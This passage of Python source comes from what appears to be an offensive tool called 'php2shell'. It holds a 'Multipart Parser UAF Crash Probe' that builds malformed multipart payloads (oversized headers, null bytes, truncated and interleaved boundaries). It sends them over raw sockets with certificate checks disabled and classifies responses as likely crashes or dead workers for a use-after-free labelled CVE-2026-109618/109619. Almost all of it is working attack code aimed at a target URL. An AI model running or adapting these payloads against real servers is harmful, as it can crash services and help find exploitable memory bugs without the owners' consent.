f"{b}\r\nContent-Disposition: form-data; name=\"{'A'*8192}\"; filename=\"{'B'*8192}\"\r\n"
f"Content-Type: {'C'*4096}\r\n\r\nDATA\r\n{b}--\r\n"
).encode()
return body, f"multipart/form-data; boundary={b[2:]}"
def _build_nullbyte():
b = "----php2shellNullByte"
body = f"{b}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"x.bin\"\r\nContent-Type: application/octet-stream\r\n\r\n".encode()
body += b"\x00" * 512 + f"\r\n{b}--\r\n".encode()
return body, f"multipart/form-data; boundary={b[2:]}"
def _build_truncated():
b = "----php2shellTruncated"
body = (
f"{b}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"x.bin\"\r\n"
f"Content-Type: application/octet-stream\r\n\r\nINCOMPLETE_DATA_NO_CLOSING_BOUNDARY"
).encode()
return body, f"multipart/form-data; boundary={b[2:]}"
def _build_interleaved():
b1, b2 = "----php2shellBoundaryA", "----php2shellBoundaryB"
body = (
f"{b1}\r\nContent-Disposition: form-data; name=\"a\"\r\n\r\nA\r\n"
f"{b2}\r\nContent-Disposition: form-data; name=\"b\"\r\n\r\nB\r\n{b1}--\r\n"
).encode()
return body, f"multipart/form-data; boundary={b1[2:]}"
_UAF_VARIANTS = {
"nested": ("Nested boundaries with double-close", _build_nested),
"longheader": ("Oversized Content-Disposition / Content-Type", _build_longheader),
"nullbyte": ("Null bytes in part body (C string corruption)", _build_nullbyte),
"truncated": ("Missing closing boundary - unexpected EOF", _build_truncated),
"interleaved": ("Interleaved boundaries from two containers", _build_interleaved),
}
def _send_raw(host, port, path, body, content_type, use_tls=False, timeout=5.0):
req = (
f"POST {path} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: php2shell/{__version__}\r\n"
f"Content-Type: {content_type}\r\nContent-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
result = {"status": None, "error": None, "bytes": 0, "raw": ""}
try:
sock.connect((host, port))
sock.sendall(req)
resp = b""
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
result["raw"] = resp.decode("utf-8", errors="replace")
result["bytes"] = len(resp)
first = result["raw"].split("\r\n")[0] if result["raw"] else ""
if " " in first:
try:
result["status"] = int(first.split(" ")[1])
except (ValueError, IndexError):
pass
except socket.timeout: result["error"] = "TIMEOUT"
except ConnectionResetError: result["error"] = "CONNECTION_RESET"
except ConnectionRefusedError: result["error"] = "CONNECTION_REFUSED"
except BrokenPipeError: result["error"] = "BROKEN_PIPE"
except OSError as exc: result["error"] = f"OS_ERROR: {exc}"
finally:
sock.close()
return result
def _uaf_classify(result):
err, status = result.get("error"), result.get("status")
if err in ("CONNECTION_RESET", "BROKEN_PIPE"): return "CRASH_LIKELY", C.BRED
if err == "TIMEOUT": return "HANG_OR_CRASH", C.BYLW
if err == "CONNECTION_REFUSED": return "REFUSED", C.DIM
if err: return f"ERROR ({err})", C.DIM
if status in (502, 503): return "WORKER_DEAD", C.BRED
if status == 200: return "OK", C.BGRN
if status: return f"HTTP_{status}", C.DIM
if result["bytes"] == 0: return "EMPTY", C.BYLW
return "UNKNOWN", C.DIM
def run_uaf(target_url, variants=None, repeat=1, timeout=5.0, verbose=False, output_json=False):
_print_module_start(
"Multipart Parser UAF Crash Probe", "CVE-2026-109618 / CVE-2026-109619",
"Malformed multipart payloads via raw sockets - classifies crash signals"
)
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or (443 if parsed.scheme == "https" else 80)
path = parsed.path or "/"
use_tls = parsed.scheme == "https"
selected = variants or list(_UAF_VARIANTS.keys())
_kv("Target", f"{host}:{port}{path}")
_kv("Variants", ", ".join(selected))
_kv("Repeat", f"{repeat}x")
_blank()
cols = ["Variant", "Bytes", "Attempt", "Verdict", "Signal"]
widths = [16, 8, 8, 16, 30]
_table_header(cols, widths)
results = {}
all_count = sum(len(range(repeat)) for _ in selected)
done = 0
for name in selected:
desc, build_fn = _UAF_VARIANTS[name]
body, ct = build_fn()
run_results = []
for attempt in range(repeat):
res = _send_raw(host, port, path, body, ct, use_tls=use_tls, timeout=timeout)
verdict, color = _uaf_classify(res)
run_results.append(verdict)
signal = ""
if verdict in ("CRASH_LIKELY", "WORKER_DEAD"):
signal = f"{C.BRED}← potential UAF trigger{C.RST}"
elif verdict == "HANG_OR_CRASH":
signal = f"{C.BYLW}← possible crash{C.RST}"
elif verdict == "OK":
signal = f"{C.DIM}no anomaly{C.RST}"
_table_row(
[name, str(len(body)), f"#{attempt+1}", verdict, signal],
widths,
[C.BCYN, C.DIM, C.DIM, color, C.DIM],
)
if verbose and res.get("error"):
print(f"{'':22s}{C.DIM}error: {res['error']}{C.RST}")
elif verbose and res.get("raw"):
print(f"{'':22s}{C.DIM}{res['raw'][:120].replace(chr(10),'↵')}{C.RST}")
done += 1
time.sleep(0.3)
results[name] = run_results
_blank()
_hline()
_blank()
if output_json:
print(json.dumps(results, indent=2))
return results